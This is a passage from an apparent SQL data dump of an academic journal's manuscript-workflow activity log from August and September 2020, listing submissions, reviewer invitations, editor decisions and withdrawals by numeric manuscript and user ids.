Editor',5833,'Publisher',319),(47088,'2020-08-17 13:14:43','Publisher has Invited Reviewer',5833,'Publisher',319),(47089,'2020-08-17 13:14:44','Publisher has Invited Reviewer',5833,'Publisher',319),(47090,'2020-08-17 13:14:45','Publisher has Invited Reviewer',5833,'Publisher',319),(47094,'2020-08-17 13:15:11','Editor has Accepted to review Manuscript',5833,'Editor',1067),(47095,'2020-08-17 13:15:31','Publisher has Invited Reviewer',5156,'Publisher',376),(47096,'2020-08-17 13:15:31','Publisher has Invited Reviewer',5156,'Publisher',376),(47149,'2020-08-18 04:29:10','Reviewer has submitted comments',5833,'Reviewer',12875),(47187,'2020-08-18 10:03:53','Publisher : Notified Editor',5795,'Publisher',85),(47189,'2020-08-18 10:05:03','Editor has Accepted to review Manuscript',5795,'Editor',1251),(47190,'2020-08-18 10:05:16','Editor has been Revise (Notify Author) article',5795,'Editor',1251),(47191,'2020-08-18 10:06:34','Publisher : Notified Author',5795,'Publisher',85),(47209,'2020-08-18 13:41:08','Manuscript Submitted by Author using Submission form',5859,'Author',6905),(47225,'2020-08-19 00:21:33','Author sent Email',5245,'Author',6436),(47273,'2020-08-19 07:17:14','Publisher has been Assigned Editor',5773,'Publisher',75),(47309,'2020-08-19 10:13:07','Publisher has been Assigned Editor',5770,'Publisher',972),(47310,'2020-08-19 10:13:23','Publisher has Invited Reviewer',5770,'Publisher',972),(47312,'2020-08-19 10:14:32','Publisher has been Withdrawn  article',5770,'Publisher',972),(47314,'2020-08-19 10:22:58','Publisher : Notified Author',5481,'Publisher',85),(47320,'2020-08-19 10:26:49','Editor has been Revise (Notify Author) article',5464,'Editor',1343),(47324,'2020-08-19 10:28:33','Editor has been Editor Decision Accepted article',5464,'Editor',1343),(47335,'2020-08-19 17:25:51','Author sent Email',5712,'Author',6934),(47336,'2020-08-19 19:57:05','Reviewer has been sent email to Publisher',5770,'Reviewer',10393),(47338,'2020-08-19 22:47:53','Reviewer has submitted comments',5294,'Reviewer',13672),(47394,'2020-08-20 09:57:59','Author sent Email',5795,'Author',6883),(47395,'2020-08-20 10:05:05','Author sent Email',5795,'Author',6883),(47397,'2020-08-20 10:41:13','Publisher : Notified Editor',5294,'Publisher',85),(47405,'2020-08-20 11:36:59','Editor has Accepted to review Manuscript',5294,'Editor',1408),(47406,'2020-08-20 11:37:25','Editor has been Revise (Notify Author) article',5294,'Editor',1408),(47407,'2020-08-20 11:41:29','Publisher : Notified Author',5294,'Publisher',85),(47427,'2020-08-21 05:28:46','Author sent Email',5597,'Author',6810),(47428,'2020-08-21 05:46:27','Manuscript Submitted by Author using Submission form',5892,'Author',7114),(47429,'2020-08-21 05:54:57','Editor has been Revise (Notify Author) article',2874,'Editor',1315),(47430,'2020-08-21 05:55:31','Editor has Accepted to review Manuscript',5770,'Editor',1315),(47431,'2020-08-21 05:55:52','Editor has Invited Reviewer',5770,'Editor',1315),(47432,'2020-08-21 05:55:52','Editor has Invited Reviewer',5770,'Editor',1315),(47433,'2020-08-21 05:56:31','Editor has Invited Reviewer',5770,'Editor',1315),(47442,'2020-08-21 08:54:07','Publisher has been Withdrawn  article',5770,'Publisher',972),(47443,'2020-08-21 09:32:04','Editor has been Editor Decision Accepted article',5597,'Editor',1067),(47444,'2020-08-21 09:33:03','Publisher: Accept Notification has been sent to Author',5597,'Publisher',319),(47445,'2020-08-21 10:48:17','Reviewer has submitted comments',5109,'Reviewer',9933),(47446,'2020-08-21 10:49:03','Publisher : Notified Editor',5109,'Publisher',248),(47447,'2020-08-21 10:49:58','Editor has Accepted to review Manuscript',5109,'Editor',358),(47448,'2020-08-21 10:50:14','Editor has been Editor Decision Accepted article',5109,'Editor',358),(47449,'2020-08-21 10:50:51','Publisher: Accept Notification has been sent to Author',5109,'Publisher',248),(47450,'2020-08-21 10:51:07','Publisher has been Accepted Articles  article',5109,'Publisher',248),(47451,'2020-08-21 10:51:07','Publisher has been Accepted Articles  article',5109,'Publisher',248),(47456,'2020-08-21 13:29:11','Publisher: Accept Notification has been sent to Author',5464,'Publisher',85),(47457,'2020-08-21 13:29:45','Publisher : Notified Editor',5670,'Publisher',85),(47458,'2020-08-21 13:30:17','Editor has Accepted to review Manuscript',5670,'Editor',1343),(47459,'2020-08-21 13:30:42','Editor has been Editor Decision Accepted article',5670,'Editor',1343),(47514,'2020-08-22 15:15:50','Publisher has been Accepted Articles  article',5464,'Publisher',85),(47515,'2020-08-22 15:18:55','Publisher has Invited Reviewer',5734,'Publisher',85),(47516,'2020-08-22 15:18:56','Publisher has Invited Reviewer',5734,'Publisher',85),(47517,'2020-08-22 15:18:57','Publisher has Invited Reviewer',5734,'Publisher',85),(47518,'2020-08-22 15:18:58','Publisher has Invited Reviewer',5734,'Publisher',85),(47519,'2020-08-22 15:18:59','Publisher has Invited Reviewer',5734,'Publisher',85),(47520,'2020-08-22 15:19:00','Publisher has Invited Reviewer',5734,'Publisher',85),(47521,'2020-08-22 15:19:01','Publisher has Invited Reviewer',5734,'Publisher',85),(47522,'2020-08-22 15:19:02','Publisher has Invited Reviewer',5734,'Publisher',85),(47524,'2020-08-23 03:43:28','Author sent Email',4629,'Author',5844),(47525,'2020-08-23 07:05:23','Reviewer has been sent email to Publisher',5734,'Reviewer',12782),(47544,'2020-08-23 19:43:44','Manuscript Submitted by Author using Submission form',5907,'Author',7129),(47559,'2020-08-24 05:35:12','Manuscript Submitted by Publisher',5912,'Publisher',248),(47560,'2020-08-24 05:35:28','Publisher has been Assigned Editor',5912,'Publisher',248),(47565,'2020-08-24 07:14:27','Manuscript Submitted by Author using Submission form',5914,'Author',7136),(47572,'2020-08-24 09:06:10','Publisher : Notified Editor',5833,'Publisher',319),(47573,'2020-08-24 09:11:43','Editor has been Revise (Notify Author) article',5833,'Editor',1067),(47582,'2020-08-24 10:42:58','Author sent Email',5670,'Author',6883),(47590,'2020-08-24 11:16:32','Manuscript Submitted by Author using Submission form',5921,'Author',7145),(47593,'2020-08-24 11:20:39','Manuscript Submitted by Author using Submission form',5922,'Author',7146),(47599,'2020-08-24 11:35:24','Publisher has been Assigned Editor',5907,'Publisher',319),(47600,'2020-08-24 11:40:52','Editor has Accepted to review Manuscript',5907,'Editor',1067),(47601,'2020-08-24 11:41:58','Author sent Email',5670,'Author',6883),(47637,'2020-08-24 23:32:36','Reviewer has submitted comments',5156,'Reviewer',7023),(47639,'2020-08-25 02:40:03','Publisher has Invited Reviewer',5420,'Publisher',75),(47640,'2020-08-25 02:40:07','Publisher has Invited Reviewer',5420,'Publisher',75),(47641,'2020-08-25 02:40:17','Publisher has Invited Reviewer',5420,'Publisher',75),(47642,'2020-08-25 02:40:21','Publisher has Invited Reviewer',5420,'Publisher',75),(47643,'2020-08-25 02:40:25','Publisher has Invited Reviewer',5420,'Publisher',75),(47644,'2020-08-25 02:40:30','Publisher has Invited Reviewer',5420,'Publisher',75),(47645,'2020-08-25 02:40:39','Publisher has Invited Reviewer',5420,'Publisher',75),(47646,'2020-08-25 02:40:44','Publisher has Invited Reviewer',5420,'Publisher',75),(47647,'2020-08-25 02:40:48','Publisher has Invited Reviewer',5420,'Publisher',75),(47648,'2020-08-25 02:40:53','Publisher has Invited Reviewer',5420,'Publisher',75),(47649,'2020-08-25 02:40:57','Publisher has Invited Reviewer',5420,'Publisher',75),(47650,'2020-08-25 02:41:02','Publisher has Invited Reviewer',5420,'Publisher',75),(47651,'2020-08-25 02:41:06','Publisher has Invited Reviewer',5420,'Publisher',75),(47652,'2020-08-25 02:45:37','Publisher has Invited Reviewer',5607,'Publisher',75),(47653,'2020-08-25 02:45:42','Publisher has Invited Reviewer',5607,'Publisher',75),(47654,'2020-08-25 02:45:46','Publisher has Invited Reviewer',5607,'Publisher',75),(47655,'2020-08-25 02:45:51','Publisher has Invited Reviewer',5607,'Publisher',75),(47656,'2020-08-25 02:47:25','Publisher has Invited Reviewer',5712,'Publisher',75),(47657,'2020-08-25 02:47:30','Publisher has Invited Reviewer',5712,'Publisher',75),(47658,'2020-08-25 02:47:34','Publisher has Invited Reviewer',5712,'Publisher',75),(47659,'2020-08-25 02:47:39','Publisher has Invited Reviewer',5712,'Publisher',75),(47660,'2020-08-25 02:47:43','Publisher has Invited Reviewer',5712,'Publisher',75),(47661,'2020-08-25 02:47:48','Publisher has Invited Reviewer',5712,'Publisher',75),(47662,'2020-08-25 02:48:40','Publisher has Invited Reviewer',5773,'Publisher',75),(47663,'2020-08-25 02:48:45','Publisher has Invited Reviewer',5773,'Publisher',75),(47664,'2020-08-25 02:49:17','Publisher has Invited Reviewer',5773,'Publisher',75),(47665,'2020-08-25 02:49:21','Publisher has Invited Reviewer',5773,'Publisher',75),(47666,'2020-08-25 02:49:26','Publisher has Invited Reviewer',5773,'Publisher',75),(47667,'2020-08-25 02:49:54','Publisher has been Assigned Editor',5859,'Publisher',75),(47668,'2020-08-25 02:50:08','Publisher has been Assigned Editor',5803,'Publisher',75),(47669,'2020-08-25 02:50:23','Publisher has been Assigned Editor',5802,'Publisher',75),(47680,'2020-08-25 05:19:05','Publisher has been Assigned Editor',5922,'Publisher',248),(47681,'2020-08-25 05:19:16','Publisher has been Assigned Editor',5914,'Publisher',248),(47722,'2020-08-25 12:01:33','Publisher: Accept Notification has been sent to Author',5670,'Publisher',85),(47726,'2020-08-25 12:30:22','Publisher has been Assigned Editor',5921,'Publisher',274),(47727,'2020-08-25 12:33:18','Publisher has Invited Reviewer',5921,'Publisher',274),(47728,'2020-08-25 12:37:16','Publisher has been Accepted Articles  article',5549,'Publisher',319),(47729,'2020-08-25 12:37:38','Publisher has been Accepted Articles  article',5597,'Publisher',319),(47730,'2020-08-25 12:38:07','Publisher has Invited Reviewer',5907,'Publisher',319),(47731,'2020-08-25 12:38:08','Publisher has Invited Reviewer',5907,'Publisher',319),(47732,'2020-08-25 12:38:09','Publisher has Invited Reviewer',5907,'Publisher',319),(47736,'2020-08-25 13:05:34','Reviewer has submitted comments',5907,'Reviewer',12875),(47737,'2020-08-25 13:09:12','Editor has Accepted to review Manuscript',5803,'Editor',160),(47738,'2020-08-25 13:09:24','Editor has Accepted to review Manuscript',5712,'Editor',160),(47739,'2020-08-25 13:10:16','Editor has Invited Reviewer',5803,'Editor',160),(47740,'2020-08-25 13:10:39','Editor has Invited Reviewer',5803,'Editor',160),(47741,'2020-08-25 13:10:43','Editor has Invited Reviewer',5803,'Editor',160),(47742,'2020-08-25 13:10:48','Editor has Invited Reviewer',5803,'Editor',160),(47743,'2020-08-25 13:10:52','Editor has Invited Reviewer',5803,'Editor',160),(47748,'2020-08-25 18:58:47','Manuscript Submitted by Author using Submission form',5948,'Author',7176),(47761,'2020-08-26 04:45:15','Editor has been Editor Decision Accepted article',5833,'Editor',1067),(47762,'2020-08-26 04:46:40','Editor has been Revise (Notify Author) article',5833,'Editor',1067),(47763,'2020-08-26 04:48:43','Publisher : Notified Author',5833,'Publisher',319),(47770,'2020-08-26 06:47:57','Author sent Email',5712,'Author',6934),(47785,'2020-08-26 09:14:31','Publisher has been Assigned Editor',5892,'Publisher',972),(47786,'2020-08-26 09:15:02','Publisher has Invited Reviewer',5892,'Publisher',972),(47787,'2020-08-26 09:15:10','Publisher has Invited Reviewer',5892,'Publisher',972),(47788,'2020-08-26 09:15:20','Publisher has Invited Reviewer',5892,'Publisher',972),(47810,'2020-08-26 10:42:03','Publisher has been Assigned Editor',5791,'Publisher',75),(47819,'2020-08-26 10:58:37','Publisher has Invited Reviewer',5420,'Publisher',75),(47821,'2020-08-26 11:02:10','Publisher : Notified Editor',4739,'Publisher',75),(47822,'2020-08-26 11:03:11','Publisher has Invited Reviewer',4915,'Publisher',75),(47823,'2020-08-26 11:21:34','Reviewer has submitted comments',4496,'Reviewer',13225),(47824,'2020-08-26 11:26:41','Reviewer has submitted comments',4629,'Reviewer',13225),(47825,'2020-08-26 11:30:34','Reviewer has submitted comments',4676,'Reviewer',13225),(47827,'2020-08-26 11:32:14','Publisher has been Withdrawn  article',5103,'Publisher',75),(47828,'2020-08-26 11:33:00','Publisher has been Withdrawn  article',4160,'Publisher',75),(47829,'2020-08-26 11:33:24','Publisher : Notified Editor',4496,'Publisher',75),(47830,'2020-08-26 11:36:42','Publisher : Notified Editor',4629,'Publisher',75),(47833,'2020-08-26 11:55:52','Publisher : Notified Editor',4676,'Publisher',75),(47834,'2020-08-26 11:57:43','Publisher : Notified Editor',4665,'Publisher',75),(47836,'2020-08-26 11:59:17','Editor has Accepted to review Manuscript',5420,'Editor',161),(47837,'2020-08-26 11:59:24','Editor has Accepted to review Manuscript',5607,'Editor',161),(47838,'2020-08-26 11:59:34','Editor has Accepted to review Manuscript',5773,'Editor',161),(47839,'2020-08-26 11:59:46','Editor has Accepted to review Manuscript',5802,'Editor',161),(47840,'2020-08-26 12:00:30','Editor has been Editor Decision Accepted article',4665,'Editor',161),(47841,'2020-08-26 12:00:55','Editor has been Editor Decision Accepted article',4676,'Editor',161),(47842,'2020-08-26 12:01:19','Editor has Accepted to review Manuscript',5791,'Editor',162),(47843,'2020-08-26 12:01:24','Editor has Accepted to review Manuscript',5859,'Editor',162),(47844,'2020-08-26 12:01:40','Editor has been Editor Decision Accepted article',4629,'Editor',162),(47845,'2020-08-26 12:01:59','Editor has been Editor Decision Accepted article',4739,'Editor',162),(47846,'2020-08-26 12:05:32','Publisher has been Accepted Articles  article',4629,'Publisher',75),(47847,'2020-08-26 12:05:44','Publisher has been Accepted Articles  article',4665,'Publisher',75),(47848,'2020-08-26 12:06:15','Publisher: Accept Notification has been sent to Author',4676,'Publisher',75),(47849,'2020-08-26 12:07:00','Publisher: Accept Notification has been sent to Author',4739,'Publisher',75),(47850,'2020-08-26 12:07:39','Editor has been Editor Decision Accepted article',4496,'Editor',160),(47851,'2020-08-26 12:09:38','Publisher: Accept Notification has been sent to Author',4629,'Publisher',75),(47852,'2020-08-26 12:10:25','Publisher: Accept Notification has been sent to Author',4665,'Publisher',75),(47853,'2020-08-26 12:16:02','Publisher has been Assigned Editor',5948,'Publisher',319),(47857,'2020-08-26 15:12:37','Editor has Accepted to review Manuscript',5948,'Editor',1067),(47858,'2020-08-26 20:42:14','Manuscript Submitted by Author using Submission form',5959,'Author',7190),(47861,'2020-08-27 03:37:22','Manuscript Submitted by Author using Submission form',5960,'Author',7191),(47869,'2020-08-27 06:48:54','Manuscript Submitted by Author using Submission form',5962,'Author',7193),(47897,'2020-08-27 10:12:56','Editor has been Editor Decision Accepted article',4567,'Editor',194),(47925,'2020-08-27 12:09:31','Publisher has been Assigned Editor',5959,'Publisher',319),(47926,'2020-08-27 12:09:53','Publisher has Invited Reviewer',5948,'Publisher',319),(47927,'2020-08-27 12:09:53','Publisher has Invited Reviewer',5948,'Publisher',319),(47928,'2020-08-27 12:09:54','Publisher has Invited Reviewer',5948,'Publisher',319),(47929,'2020-08-27 12:10:53','Editor has Accepted to review Manuscript',5959,'Editor',1067),(47932,'2020-08-27 12:36:51','Reviewer has submitted comments',5948,'Reviewer',12875),(47962,'2020-08-28 05:41:20','Author sent Email',4215,'Author',5428),(47988,'2020-08-28 17:03:25','Publisher: Accept Notification has been sent to Author',4496,'Publisher',75),(47992,'2020-08-28 19:49:31','Reviewer has submitted comments',5770,'Reviewer',10393),(48001,'2020-08-29 04:59:56','Author sent Email',5240,'Author',6430),(48002,'2020-08-29 05:18:50','Reviewer has submitted comments',5233,'Reviewer',11659),(48003,'2020-08-29 05:20:06','Editor has Accepted to review Manuscript',5233,'Editor',1235),(48004,'2020-08-29 05:20:36','Editor has been Editor Decision Accepted article',5233,'Editor',1235),(48005,'2020-08-29 05:22:15','Reviewer has submitted comments',4719,'Reviewer',13225),(48006,'2020-08-29 05:23:33','Publisher : Notified Editor',4719,'Publisher',75),(48007,'2020-08-29 05:45:38','Publisher has been Accepted Articles  article',5233,'Publisher',274),(48012,'2020-08-29 06:04:01','Publisher has been Withdrawn  article',5691,'Publisher',274),(48037,'2020-08-29 11:47:08','Editor has been Editor Decision Accepted article',4719,'Editor',160),(48038,'2020-08-29 12:57:09','Publisher: Accept Notification has been sent to Author',4719,'Publisher',75),(48047,'2020-08-29 15:06:25','Manuscript Submitted by Author using Submission form',5989,'Author',7218),(48051,'2020-08-30 14:17:48','Manuscript Submitted by Author using Submission form',5994,'Author',7224),(48052,'2020-08-30 19:00:50','Manuscript has been Revised',5833,'Author',7059),(48062,'2020-08-31 05:40:20','Publisher has Invited Reviewer',5859,'Publisher',75),(48063,'2020-08-31 05:40:25','Publisher has Invited Reviewer',5859,'Publisher',75),(48064,'2020-08-31 05:40:40','Publisher has Invited Reviewer',5859,'Publisher',75),(48065,'2020-08-31 05:40:57','Publisher has Invited Reviewer',5859,'Publisher',75),(48067,'2020-08-31 05:45:04','Publisher has Invited Reviewer',5791,'Publisher',75),(48068,'2020-08-31 05:45:08','Publisher has Invited Reviewer',5791,'Publisher',75),(48069,'2020-08-31 05:45:13','Publisher has Invited Reviewer',5791,'Publisher',75),(48070,'2020-08-31 05:45:18','Publisher has Invited Reviewer',5791,'Publisher',75),(48071,'2020-08-31 05:45:22','Publisher has Invited Reviewer',5791,'Publisher',75),(48072,'2020-08-31 05:47:09','Publisher has Invited Reviewer',5802,'Publisher',75),(48073,'2020-08-31 05:47:26','Publisher has Invited Reviewer',5802,'Publisher',75),(48074,'2020-08-31 05:47:31','Publisher has Invited Reviewer',5802,'Publisher',75),(48075,'2020-08-31 05:47:35','Publisher has Invited Reviewer',5802,'Publisher',75),(48076,'2020-08-31 05:47:50','Publisher has Invited Reviewer',5802,'Publisher',75),(48100,'2020-08-31 10:27:32','Publisher has Invited Reviewer',5959,'Publisher',319),(48101,'2020-08-31 10:27:34','Publisher has Invited Reviewer',5959,'Publisher',319),(48102,'2020-08-31 10:27:35','Publisher has Invited Reviewer',5959,'Publisher',319),(48136,'2020-08-31 13:18:06','Reviewer has submitted comments',5959,'Reviewer',12875),(48140,'2020-08-31 20:34:28','Reviewer has been sent email to Publisher',5892,'Reviewer',10393),(48141,'2020-09-01 03:32:09','Publisher : Notified Editor',5833,'Publisher',319),(48142,'2020-09-01 03:33:55','Editor has been Editor Decision Accepted article',5833,'Editor',1067),(48166,'2020-09-01 06:13:37','Author sent Email',4215,'Author',5428),(48176,'2020-09-01 07:26:52','Publisher has been Rejected Articles  article',4496,'Publisher',75),(48177,'2020-09-01 07:31:02','Publisher has been Withdrawn  article',5892,'Publisher',972),(48178,'2020-09-01 07:50:09','Publisher has been Assigned Editor',5994,'Publisher',85),(48179,'2020-09-01 07:51:16','Publisher has Invited Reviewer',5994,'Publisher',85),(48180,'2020-09-01 07:51:17','Publisher has Invited Reviewer',5994,'Publisher',85),(48181,'2020-09-01 07:51:18','Publisher has Invited Reviewer',5994,'Publisher',85),(48182,'2020-09-01 07:51:19','Publisher has Invited Reviewer',5994,'Publisher',85),(48183,'2020-09-01 07:51:21','Publisher has Invited Reviewer',5994,'Publisher',85),(48184,'2020-09-01 07:51:22','Publisher has Invited Reviewer',5994,'Publisher',85),(48185,'2020-09-01 07:51:24','Publisher has Invited Reviewer',5994,'Publisher',85),(48186,'2020-09-01 07:51:25','Publisher has Invited Reviewer',5994,'Publisher',85),(48187,'2020-09-01 07:51:26','Publisher has Invited Reviewer',5994,'Publisher',85),(48188,'2020-09-01 07:51:26','Publisher has Invited Reviewer',5994,'Publisher',85),(48189,'2020-09-01 07:51:27','Publisher has Invited Reviewer',5994,'Publisher',85),(48190,'2020-09-01 07:51:28','Publisher has Invited Reviewer',5994,'Publisher',85),(48191,'2020-09-01 07:51:29','Publisher has Invited Reviewer',5994,'Publisher',85),(48192,'2020-09-01 07:56:58','Publisher has been Accepted Articles  article',5670,'Publisher',85),(48193,'2020-09-01 07:58:05','Publisher : Notified Author',5481,'Publisher',85),(48194,'2020-09-01 08:00:43','Publisher has been Assigned Editor',5989,'Publisher',75),(48195,'2020-09-01 08:01:45','Publisher has Invited Reviewer',4915,'Publisher',75),(48196,'2020-09-01 08:01:49','Publisher has Invited Reviewer',4915,'Publisher',75),(48197,'2020-09-01 08:01:54','Publisher has Invited Reviewer',4915,'Publisher',75),(48198,'2020-09-01 08:07:27','Reviewer has submitted comments',4915,'Reviewer',11589),(48199,'2020-09-01 08:08:30','Publisher : Notified Editor',4915,'Publisher',75),(48200,'2020-09-01 08:09:29','Editor has been Editor Decision Accepted article',4915,'Editor',162),(48201,'2020-09-01 08:10:38','Publisher: Accept Notification has been sent to Author',4915,'Publisher',75),(48220,'2020-09-01 11:25:26','Manuscript Submitted by Author',6013,'Author',7242),(48236,'2020-09-01 13:16:24','Publisher has been Withdrawn  article',5293,'Publisher',85),(48237,'2020-09-01 13:16:38','Publisher has been Withdrawn  article',5294,'Publisher',85),(48238,'2020-09-01 13:27:47','Editor has Accepted to review Manuscript',5989,'Editor',160),(48239,'2020-09-01 13:29:18','Editor has Invited Reviewer',5989,'Editor',160),(48240,'2020-09-01 13:29:23','Editor has Invited Reviewer',5989,'Editor',160),(48241,'2020-09-01 13:29:27','Editor has Invited Reviewer',5989,'Editor',160),(48242,'2020-09-01 13:29:32','Editor has Invited Reviewer',5989,'Editor',160),(48243,'2020-09-01 13:30:47','Editor has Invited Reviewer',5989,'Editor',160),(48244,'2020-09-01 13:33:05','Editor has been Editor Decision Accepted article',4496,'Editor',160),(48268,'2020-09-02 06:57:16','Publisher has been Assigned Editor',5962,'Publisher',248),(48269,'2020-09-02 07:39:41','Publisher: Accept Notification has been sent to Author',5833,'Publisher',319),(48286,'2020-09-02 13:13:19','Publisher has been Assigned Editor',6013,'Publisher',85),(48287,'2020-09-02 13:15:37','Publisher has Invited Reviewer',6013,'Publisher',85),(48288,'2020-09-02 13:15:38','Publisher has Invited Reviewer',6013,'Publisher',85),(48289,'2020-09-02 13:15:38','Publisher has Invited Reviewer',6013,'Publisher',85),(48290,'2020-09-02 13:15:39','Publisher has Invited Reviewer',6013,'Publisher',85),(48291,'2020-09-02 13:15:39','Publisher has Invited Reviewer',6013,'Publisher',85),(48292,'2020-09-02 13:15:39','Publisher has Invited Reviewer',6013,'Publisher',85),(48293,'2020-09-02 13:15:40','Publisher has Invited Reviewer',6013,'Publisher',85),(48294,'2020-09-02 13:15:40','Publisher has Invited Reviewer',6013,'Publisher',85),(48295,'2020-09-02 13:15:41','Publisher has Invited Reviewer',6013,'Publisher',85),(48296,'2020-09-02 13:15:41','Publisher has Invited Reviewer',6013,'Publisher',85),(48297,'2020-09-02 13:15:42','Publisher has Invited Reviewer',6013,'Publisher',85),(48298,'2020-09-02 13:15:42','Publisher has Invited Reviewer',6013,'Publisher',85),(48299,'2020-09-02 13:15:43','Publisher has Invited Reviewer',6013,'Publisher',85),(48300,'2020-09-02 13:27:23','Manuscript Submitted by Author using Submission form',6025,'Author',7254),(48305,'2020-09-03 02:01:35','Manuscript Submitted by Author using Submission form',6026,'Author',7257),(48367,'2020-09-03 11:53:54','Publisher has been Withdrawn  article',5795,'Publisher',85),(48393,'2020-09-03 20:47:47','Manuscript Submitted by Author using Submission form',6035,'Author',7269),(48401,'2020-09-04 02:20:13','Publisher has Invited Reviewer',5803,'Publisher',75),(48402,'2020-09-04 02:20:23','Publisher has Invited Reviewer',5803,'Publisher',75),(48403,'2020-09-04 02:20:28','Publisher has Invited Reviewer',5803,'Publisher',75),(48404,'2020-09-04 02:20:32','Publisher has Invited Reviewer',5803,'Publisher',75),(48405,'2020-09-04 02:20:37','Publisher has Invited Reviewer',5803,'Publisher',75),(48406,'2020-09-04 02:20:47','Publisher has Invited Reviewer',5803,'Publisher',75),(48407,'2020-09-04 02:20:51','Publisher has Invited Reviewer',5803,'Publisher',75),(48408,'2020-09-04 02:20:56','Publisher has Invited Reviewer',5803,'Publisher',75),(48409,'2020-09-04 02:21:00','Publisher has Invited Reviewer',5803,'Publisher',75),(48443,'2020-09-04 03:44:59','Publisher has been Assigned Editor',6035,'Publisher',972),(48449,'2020-09-04 03:45:28','Publisher has Invited Reviewer',6035,'Publisher',972),(48450,'2020-09-04 03:45:41','Publisher has Invited Reviewer',6035,'Publisher',972),(48556,'2020-09-04 09:08:01','Author sent Email',5174,'Author',6359),(48625,'2020-09-04 13:26:47','Manuscript Submitted by Publisher',6043,'Publisher',376),(48626,'2020-09-04 13:27:00','Publisher has been Assigned Editor',6043,'Publisher',376),(48627,'2020-09-04 14:14:48','Publisher has Invited Reviewer',6013,'Publisher',85),(48628,'2020-09-04 14:14:49','Publisher has Invited Reviewer',6013,'Publisher',85),(48629,'2020-09-04 14:14:50','Publisher has Invited Reviewer',6013,'Publisher',85),(48630,'2020-09-04 14:14:51','Publisher has Invited Reviewer',6013,'Publisher',85),(48631,'2020-09-04 14:14:52','Publisher has Invited Reviewer',6013,'Publisher',85),(48632,'2020-09-04 14:14:53','Publisher has Invited Reviewer',6013,'Publisher',85),(48633,'2020-09-04 14:15:56','Publisher has Invited Reviewer',5994,'Publisher',85),(48634,'2020-09-04 14:15:56','Publisher has Invited Reviewer',5994,'Publisher',85),(48635,'2020-09-04 14:15:57','Publisher has Invited Reviewer',5994,'Publisher',85),(48636,'2020-09-04 14:15:58','Publisher has Invited Reviewer',5994,'Publisher',85),(48637,'2020-09-04 14:15:59','Publisher has Invited Reviewer',5994,'Publisher',85),(48638,'2020-09-04 14:16:00','Publisher has Invited Reviewer',5994,'Publisher',85),(48639,'2020-09-04 14:16:01','Publisher has Invited Reviewer',5994,'Publisher',85),(48640,'2020-09-04 14:16:02','Publisher has Invited Reviewer',5994,'Publisher',85),(48641,'2020-09-04 14:16:03','Publisher has Invited Reviewer',5994,'Publisher',85),(48651,'2020-09-05 02:57:46','Publisher has been Withdrawn  article',4496,'Publisher',75),(48652,'2020-09-05 04:12:52','Manuscript Submitted by Author using Submission form',6046,'Author',7281),(48743,'2020-09-05 09:53:02','Publisher : Notified Author',5481,'Publisher',85),(48746,'2020-09-05 14:51:58','Author sent Email',5420,'Author',5541),(48748,'2020-09-06 04:58:41','Author sent Email',4215,'Author',5428),(48749,'2020-09-06 07:49:27','Manuscript Submitted by Author using Submission form',6049,'Author',7283),(48753,'2020-09-06 14:56:26','Manuscript Submitted by Author',6050,'Author',7254),(48754,'2020-09-06 14:59:09','Manuscript Submitted by Author',6051,'Author',7254),(48811,'2020-09-07 07:05:48','Author sent Email',4215,'Author',5428),(48812,'2020-09-07 07:11:39','Author sent Email',4215,'Author',5428),(48861,'2020-09-07 09:10:23','Publisher has been Assigned Editor',6051,'Publisher',248),(48862,'2020-09-07 09:10:34','Publisher has been Assigned Editor',6050,'Publisher',248),(48863,'2020-09-07 09:10:44','Publisher has been Assigned Editor',6025,'Publisher',248),(48864,'2020-09-07 09:10:54','Publisher has been Assigned Editor',6049,'Publisher',248),(48865,'2020-09-07 09:11:06','Publisher has been Assigned Editor',6026,'Publisher',248),(48866,'2020-09-07 09:21:43','Manuscript Submitted by Author using Submission form',6058,'Author',7291),(48867,'2020-09-07 10:05:43','Author sent Email',4215,'Author',5428),(48877,'2020-09-07 10:40:22','Author sent Email',4215,'Author',5428),(48882,'2020-09-07 11:06:02','Publisher has Invited Reviewer',5994,'Publisher',85),(48883,'2020-09-07 11:06:03','Publisher has Invited Reviewer',5994,'Publisher',85),(48884,'2020-09-07 11:06:04','Publisher has Invited Reviewer',5994,'Publisher',85),(48885,'2020-09-07 11:06:05','Publisher has Invited Reviewer',5994,'Publisher',85),(48886,'2020-09-07 11:06:06','Publisher has Invited Reviewer',5994,'Publisher',85),(48887,'2020-09-07 11:06:07','Publisher has Invited Reviewer',5994,'Publisher',85),(48888,'2020-09-07 11:06:07','Publisher has Invited Reviewer',5994,'Publisher',85),(48889,'2020-09-07 11:06:08','Publisher has Invited Reviewer',5994,'Publisher',85),(48890,'2020-09-07 11:07:48','Publisher has Invited Reviewer',6013,'Publisher',85),(48891,'2020-09-07 11:07:49','Publisher has Invited Reviewer',6013,'Publisher',85),(48892,'2020-09-07 11:07:50','Publisher has Invited Reviewer',6013,'Publisher',85),(48893,'2020-09-07 11:07:51','Publisher has Invited Reviewer',6013,'Publisher',85),(48894,'2020-09-07 11:07:52','Publisher has Invited Reviewer',6013,'Publisher',85),(48895,'2020-09-07 11:07:53','Publisher has Invited Reviewer',6013,'Publisher',85),(48896,'2020-09-07 11:07:54','Publisher has Invited Reviewer',6013,'Publisher',85),(48897,'2020-09-07 11:07:55','Publisher has Invited Reviewer',6013,'Publisher',85),(48898,'2020-09-07 11:07:57','Publisher has Invited Reviewer',6013,'Publisher',85),(48899,'2020-09-07 11:07:58','Publisher has Invited Reviewer',6013,'Publisher',85),(48900,'2020-09-07 11:07:59','Publisher has Invited Reviewer',6013,'Publisher',85),(48904,'2020-09-07 11:09:44','Publisher has Invited Reviewer',5994,'Publisher',85),(48905,'2020-09-07 11:09:45','Publisher has Invited Reviewer',5994,'Publisher',85),(48906,'2020-09-07 11:09:46','Publisher has Invited Reviewer',5994,'Publisher',85),(48907,'2020-09-07 11:09:47','Publisher has Invited Reviewer',5994,'Publisher',85),(48911,'2020-09-07 11:18:31','Publisher has Invited Reviewer',5734,'Publisher',85),(48912,'2020-09-07 11:18:32','Publisher has Invited Reviewer',5734,'Publisher',85),(48913,'2020-09-07 11:18:33','Publisher has Invited Reviewer',5734,'Publisher',85),(48914,'2020-09-07 11:18:34','Publisher has Invited Reviewer',5734,'Publisher',85),(48915,'2020-09-07 11:18:35','Publisher has Invited Reviewer',5734,'Publisher',85),(48916,'2020-09-07 11:18:36','Publisher has Invited Reviewer',5734,'Publisher',85),(48917,'2020-09-07 11:18:37','Publisher has Invited Reviewer',5734,'Publisher',85),(48933,'2020-09-07 13:00:45','Publisher has been Assigned Editor',6046,'Publisher',75),(48942,'2020-09-07 20:35:44','Manuscript Submitted by Author using Submission 